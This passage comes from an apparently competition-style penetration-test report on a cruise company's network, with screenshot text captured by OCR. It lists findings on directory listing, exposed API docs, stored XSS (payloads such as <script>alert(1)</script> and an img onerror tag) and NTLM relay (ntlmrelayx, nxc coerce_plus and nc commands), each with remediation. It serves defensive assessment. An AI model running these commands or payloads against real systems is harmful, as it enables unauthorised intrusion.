Finals-12 discovered that Jellyfin's Media Folders can access folders on the local file system exposing
the local file structure by escaping out of the path selection when adding a new Media Folder.

Business Impact Description

Successful exploitation of this vulnerability exposes the file structure and names of any folder name

of any directory including the root directory /.

Likelihood Description

This vulnerability is moderately likely as it requires administrator access to the Jellyfin application.

MITRE ATT&CK

T1083 - File and Directory Discovery M1022 - Restrict File and Directory Permissions

Exploitation Details

1. Create new Media Library

Navigate to the libraries endpoint on Jellyfin and add a media library.

I http://10.0.1.30:8096/web/#/dashboard/libraries
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Devia
L0 Devices
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Live TV

KaliLinux & KaliTools  Kali Docs ¥ Kali Forums e Kali NetHunter

D @ NotSecure http://10.0.1.30.

Exploit-DB % Google Hacking DB
<

scan All Libraries  Help

)

All Port Tours Music
Mu:

Cruise Overview

Libx @ how 854

10.0.1.3 # Mini ® Disa ¢ AllPort: [l Cro: @ Inte;

All Port Tours Movies

homedirtest Booksasdf
B

Add Media Library

Figure 47. View libraries on Jellyfin

2. Add Folder and

any folder in the drop down.

Click the + button next to Folders and select the first option in the drop down '/* and then select

€ Add Media Library

Content type

Home Videos and Photos

Home Videos and Photos

Folders +

Figure 48. Create a new folder
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& Select Path

alternatives

apt

ca-certificates

oA

Figure 49. Select a folder to add

3. View folders

Navigate to the metadata tab and view the folder names and structure.

http://10.0.1.30:8096/web/#/metadata

C @ O & NotSecure  http://10.0.1.30:8096 #/metadata

KaliLinux & Kali Tools « KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

Folders
All Port To
All Por

B
~ Pat
Crui
. fetc/alternatives
Home Videos a
alternatives .
Title
apt )
alternatives
ca-certificates
cron.d Sort title
cron.daily

default

dpkg

fonts
gss
init.d

Community
kernel

Figure 50. Look through local directories

Remediation

Finals-12 recommends that APT restrict the selection of folders for Media Libraries to strictly the Web
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Directory.

o~
I

Resources
=> PortSwigger - Directory Listing

END OF FINDING BLOCK
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Risk Impact CVSS Score
Low 6.9
Likelihood CVSS Vector
Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/

VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Affected Scope
10.0.1.13 HTTP 8081

l 10.0.1.13 HTTP 8091

Rediscovered Vulnerability

Vulnerability Description
Finals-12 discovered multiple api documentation endpoints that can allow an attacker to understand
how to utilize the APIs that are critical to the functionality of multiple employee operator webpages.

Business Impact Description
Successful discovery of the api documentation endpoints can allow a threat actor to fully understand
api's that are critical to ship functionality and leverage this for further exploitation.

Likelihood Description

Exploitation of this vulnerability is critically likely as there is no authentication required to access the
api documentation endpoints.

MITRE ATT&CK

T1593 - Search Open Websites M1047 - Audit

Exploitation Details

1. Visit APl docs
Visit the publicly exposed APl documentation page on host 16.0.1.13 port 8091.

I http://10.0.1.13:8081
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« > C @ O @ 1001118
Offsec  Kali Linux g Kali Tools = Kali Docs X{ Kali Forums e Kali NetHunter « Exploit-DB « Google Hacking DB

FastAPI 2@

default ~
/ids GetAlllds v
/health Health Check N
/documents Get Documents By Ids v

m /documents Delete Documents N
/query Query Embeddings By File Id v
/local/embed Embed Local File v
/embed Embed File v
/documents/{id}/context Load Document Context v
/embed-upload Embed File Upload v
/query_multiple Query Embeddings By File Ids v
/text Extract Text From File v

Figure 51. View API docs

2. Visit APl docs
Visit the publicly exposed APl documentation page on host 18.0.1.13 port 8091.

http://10.0.1.13:8091

O A Not Secure  http://10.0.1.13:3

@ KaliTools <« KaliDocs M Kali Forums X Kali NetHunter < Exploit-DB Google Hacking DB

@ Swagger ./searoute-api.yaml| Explore

SMARTBEAR

SeaRoute AP| *°° o0

timal sea routes

Servers

ours:8090 - Production SeaRoute Service (DNS) v

Health service health monitoring

m /health Health check

Routing Maritime route calculation

/calculate-route Calculate optimal

Figure 52. Visit APl docs
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3. Visit APl docs
Visit the publicly exposed APl documentation page on host 18.0.1.11 port 8045.

I http://10.0.1.11:8045/docs

< G [@ bps//10.0.1.11:8045/docs

Tabular Search AP 2

Query structured tables by filters and return compact rows. Available tables are dynamically discovered from the database.

https:lipenny.allports.tours:8045 - External URL v

default ~

/tabular_search Query structured tables by filters and return compact rows Y%

/health Checkif the API s running a3~

Figure 53. Visit APl docs
Remediation
Finals-12 recommends APT to keep the API docs hidden internally instead of public to the network. If

this is not a viable solution, Finals-12 recommends APT implement a form of authentication to access
the api documentation pages.

o~

Resources
—> Access Control

END OF FINDING BLOCK
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Risk Impact CVSS Score
Low 5.1
Likelihood CVSS Vector
High CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/

VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Affected Scope

I 10.0.1.13 HTTP 8080

Vulnerability Description

Finals-12 discovered the Bridge Navigation on the affected scope to be vulnerable to Cross-Site
Scripting (XSS) on the port_name variable by appending malicious javascript payloads.

Business Impact Description

Successful exploitation of this vulnerability allows for execution of malicious javascript on all users
who visit the website. However, none of the cookies on the affected scope were accessible as they
had the HTTP_ONLY flag set.

Likelihood Description
This vulnerability is highly likely as it requires authentication and is a common web attack.

MITRE ATT&CK
T1190 - Exploit Public-Facing Application M0818 - Validate Program Inputs

Exploitation Details

1. View Bridge Navigation
Log in to the Bridge Navigation system and visit the home page.

I http://10.0.1.13:8080/?route=home
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ecure  10.0.1.13

= All Ports - Bridge Navigation

Bridge Dashboard Navigation Log Route Builder

Bridge Command Center - All Ports

Current Position Vessel Speed Heading Next Port
Latitude: 25.0780° O knotS 1010 Fort Lauderdale
Longitude: -77.3383° 3 ETA: Oh

0% of voyage complete Speed Setting Autopilot Engaged

Current Voyage

Departure Current Position Avrrival Fort Lauderdale
Distance Traveled 0nm Distance Remaining 210.2 nm
Total Distance 210.2 nm ETA 2026-01-10 18:18

Figure 54. Bridge Navigation home page

2. Turnon Intercept
Open up Burp Suite. Navigate to proxy and turn on intercept.

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2025.10.6 - Temporary Project
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer
Intercept HTTP history WebSockets history Match and replace {53 Proxy settings

Logger Organizer

@ Intercept on Forward Drop

Y

Interceptis on

Extensio

Messages between Burp's browser and your target servers are held here. This enables you to

analyze and modify these messages, before you forward them.

Learn more Open browser

Figure 55. Turn on intercept
3. Redirect Ship

Press Redirect to Port and choose any option. Once an option is chosen press Confirm Redirect.
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A Notsecure  10.0.1.13

Redirect to Port

Fort Lauderdale V‘

Confirm Redirect

Figure 56. Redirect the ship
4. Modify Request
Navigate back to Burp Suite and input the XSS payload into the portname parameter. Once
imputed, forward the request.

I <script>alert(1)</script>
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@ Intercept on - Forward | ~ Drop w

Time Type  Direction Method URL
[13719:3910.. HTTP > Request POST http:/10.0.1.13:8080/api/navigation.php?action=redirect
Request

Pretty Raw Hex

= Accept: %/ /%

5 Origin: http://10.0.1.13:8080
10 Referer: http://10.0.1.13:8080/7route=home
11 Accept-Encoding: gzip, deflate, br
12 Connection: keep-alive

13
14 {
"port_name":"=script=alert(l)=/script=",
"port_lat":26.1224,
"port_lon":-80.1373
b

Figure 57. Modify port_name
Confirm Exploit

Navigate back to the webpage to confirm the XSS payload ran.

A Notsecure  10.0.1.13

10.0.1.13:8080 says

1

Figure 58. Confirm page alert

Remediation
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Finals-12 recommends that APT ensure all user inputs are properly validated on both the client and
server sides. This includes limiting input to expected characters and patterns to prevent malicious
scripts from being injected. This should be implemented along with encoded user-supplied data with
appropriate methods, such as HTML entity encoding, JavaScript encoding, and URL encoding. This
will ensure it is properly transformed before rendering it to the user's browser.

-
I

Resources
-> PortSwigger - Stored XSS

END OF FINDING BLOCK

CONFIDENTIAL — DO NOT DISTRIBUTE 84


https://portswigger.net/web-security/cross-site-scripting/stored

All Ports Tours Security Assessment Finals-12

Risk Impact CVSS Score
Low 5.1
Likelihood CVSS Vector
Highly CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/

VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Affected Scope

I 10.0.1.13 HTTP 8080

Vulnerability Description

Finals-12 discovered the Route Builder on the affected scope to be vulnerable to Cross-Site Scripting
(XSS) on the Route Name, Departure Port, and Arrival Port sections by appending malicious
javascript payloads.

Business Impact Description

Successful exploitation of this vulnerability allows for execution of malicious javascript on all users
who visit the website. However, none of the cookies on the affected scope were accessible as they
had the HTTP_ONLY flag set.

Likelihood Description
This vulnerability is highly likely as it requires authentication and is a common web attack.

MITRE ATT&CK
T1190 - Exploit Public-Facing Application M0818 - Validate Program Inputs

Exploitation Details

1. Enter Javascript payload
Navigate to route_builder endpoint and enter javascript payload into the Route Name.

I <img src="x" on error="alert(1)">
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SLORPIN = % Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

= All Ports - Bridge Navigation

Bridge Dashboard Navigation Log Route Builder

Route Builder - Maritime Navigation Planning

Route Configuration Route Visualization
Route Name:
North Shore:
) + < The Gap.
<img src="x" onerror="alert(1)"> Wational

Park.
Departure Port:

Freeport, Bahamas ~

Waypoints:

+ Add Waypoint ile

Arrival Port:

Nassau, Bahamas ~

Average Speed (knots):

20 <

Calculate Optimal Route

Check Weather

Load Saved Route

= | eaflet | © OpenStreetMap contributors

Figure 59. Route Builder payload

2. Save Route
Click on the Calculate Optimal Route button and then Save Route button to save route
configuration to the database.
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2C... % KaliForums e Kali NetHunter Exploit-DB Goog

@ 10.0.1.13:8080

"x" onerror="alert(1)

Figure 60. Route Builder save route
3. Load Saved Route
Click on the Load Saved Route button.
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O A Not Secure 10.0.113

» KaliDocs @ SLORPIN »Finals-12C... % Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

@ 10.0.1.13:8080

Figure 61. Bridge Navigation XSS

Remediation

Finals-12 recommends that APT ensure all user inputs are properly validated on both the client and
server sides. This includes limiting input to expected characters and patterns to prevent malicious
scripts from being injected. This should be implemented along with encoded user-supplied data with
appropriate methods, such as HTML entity encoding, JavaScript encoding, and URL encoding. This
will ensure it is properly transformed before rendering it to the user's browser.

P

Resources
=> PortSwigger - Stored XSS

END OF FINDING BLOCK
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Risk Impact CVSS Score
Low 3.0
Likelihood CVSS Vector
High CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/

VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Affected Scope

10.0.1.6 (APT-DC-01) SMB 139/445
| 10.0.1.20 (DECKHAND-01) SMB 139/445

10.0.1.21 (DECKHAND-02) SMB 139/445

Vulnerability Description

NTLM relay is an attack is a man-in-the-middle (MitM) technique where an attacker can coerce and
intercept a victim's NTLM authentication exchange and relays it to a different server. This can allow
an attacker to gain unauthorized access by impersonating the victim. This attack leverages
weaknesses in the NTLM protocol and lack of SMB and LDAP signing.

Business Impact Description

Finals-12 discovered NTLM relay to be present in the PROD environment, however machine accounts
had low impact privileges when authenticating to different servers. With APT's current configuration,
machine accounts did not hold administrative access for meaningful privilege escalation. However,
the ability to relay the authentication successfully indicates that authentication integrity is not fully
enforced and that NTLM relay remains present across systems.

Likelihood Description

This vulnerability is highly likely as it is well-known and machine account coercion methods are
widely available and low-complexity. In addition, exploitation requires only low user privileges.

MITRE ATT&CK

T1557.001 - SMB Relay M1031 - Network Intrusion Prevention
T1187 - Forced Authentication M1037 - Filter Network Traffic

Exploitation Details

1. Setup listener
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Using the Impacket tool ntlmrelayx, start a simple server that targets DECKHAND-01.

impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support -i

targets. txt
C and its affilia

Protocol Client M

Protocol

Protocol

Protocol

Protocol

Protocol

Protocol

Protocol

Protocol

Protocol

Protocol .e

Protocol SMTP loaded ..
i mode to hosts in targetfile

6

Servers started, waiting for connections

Figure 62. Start ntimrelayx listener

2. Coercion
In a new window and using valid AD credentials, coerce a Windows Server to authenticate to the
attacker machine.

I nxc smb 10.0.1.21 -u <USER> -p <PASS> -M coerce_plus -o L=<Kali IP>

ndows Server 2

[+] allports.loca
VULNERABLE, i
Exploit Su

3. Relay
Look back at the ntlmrelayx listener to ensure a successful relay occurred.
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impacket-ntlmrela targets.txt -smb2support
t v0.13.0. - Copyright Fortra, LLC and its affiliat

Protocol

Protoco

Protoco

Protoco

Protoco

Protoco

Protoco

Protoco

Protoco

Protoco

Protoco

Protoco

Running
on port 445
r on port 8@

Setting
Multirel

Figure 64. Verify successful relay
4. Connect
In a new terminal window, connect to the SMB client shell.

I rlwrap nc 127.0.0.1 11000

[01/10/26 11:13:16] rlwrap nc 127.0.0.1 11000
Type help for list of commands
# shares

ADMIN%
C%
;FL$

e 1l

Figure 65. Connect to SMB client shell

Remediation

Finals-12 recommends APT to enable SMB signing on DECKHAND-01 and DECKHAND-02, as well as
enforce LDAP signing and channel binding on the Domain Controller; using the following commands.
Alternatively, if these are not viable solutions, Finals-12 recommends APT to disable NTLM
authentication on DECKHAND-01 and DECKHAND-02 and utilize Kerberos authentication.

Enable SMB signing on the client side.
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Set-ItemProperty -Path
"HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" °
-Name "RequireSecuritySignature" -Value 1 -Type DWord

Enable SMB signing on the server side.

Set-ItemProperty -Path
"HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" °
-Name "RequireSecuritySignature" -Value 1 -Type DWord

Enable LDAP signing on the Domain Controller.

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Parameters' -Name
LDAPServerIntegrity -Value 2

Enable LDAP channel binding.

$RegPath = "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters"
New-ItemProperty -Path $RegPath -Name LdapEnforceChannelBinding -Value 2 -PropertyType
DWORD

o .

Fa

Resources
=> Microsoft - Control SMB signing behavior

-> Microsoft - How to enable LDAP signhing

END OF FINDING BLOCK
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Risk Impact CVSS Score
Low 2.1
Likelihood CVSS Vector
Critical CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/
VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/S:P/R
:U/V:D
Affected Scope

—J 10.0.1.10 HTTP 9091

Vulnerability Description

Finals-12 identified a publicly accessible metrics page exposing vessel information without requiring
authentication.

Business Impact Description

Successful exploitation of this vulnerability allows an unauthenticated user to view vessel metrics.
While the exposed information does not directly enable system compromise, or expose sensitive
information, it can assist an attacker in performing vessel reconnaissance.

Likelihood Description
This vulnerability is critically likely as any user can visit this webpage.

MITRE ATT&CK
T1190 - Exploit Public-Facing Application M1048 - Application Isolation and Sandboxing

Exploitation Details

1. View Metrics Page
Navigate to the ships metric page located at http://10.0.1.10:9091/metrics.

I http://10.0.1.10:9091/metrics
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Figure 66. View vessel metrics
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# TYPE process_open_fds gauge
process_open_fds 9
# HELP process_resident_memory_byte

_seconds 1.7678
# HELP DIOLE:J rirtual_memory_bytes
# TYPE process_virtual_memory_b:
process_virtual_memory_bytes
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Figure 67. View vessel metrics

Remediation

sCrapes

Inqun t, total Total number of scrapes by HTTP
a requests_total counter
requests_total{code=
1 _requests_total{code="508"} @
handler requests_ total{code="5083"} @
ship_list_angle_degrees Current list angle (Roll)

being served.

status

code.

Finals-12 recommends APT require authentication to access vessel metrics pages, ensuring that only
authorized users can view vessel information. Access should be limited to only users that have a
legitimate business need, and publicly accessible endpoints should be reviewed to confirm they do

not expose internal system details.
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Resources
-=> OWASP Top 10 - Broken Access Control

END OF FINDING BLOCK
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7. APPENDIX A: ARTIFACTS

During the course of the engagement, Finals-12 modified parts of APT's network. Artifacts that were
unable to be deleted by the end of this engagement have been listed here for the convenience of APT.

Name Description Scope

FINALS12S Created machine account allports.local domain
FINALS12v2$ Created machine account allports.local domain
localhostlUWhRCA...A Tested DNS entry allports.local domain

Table 8. Artifacts remaining in the environment
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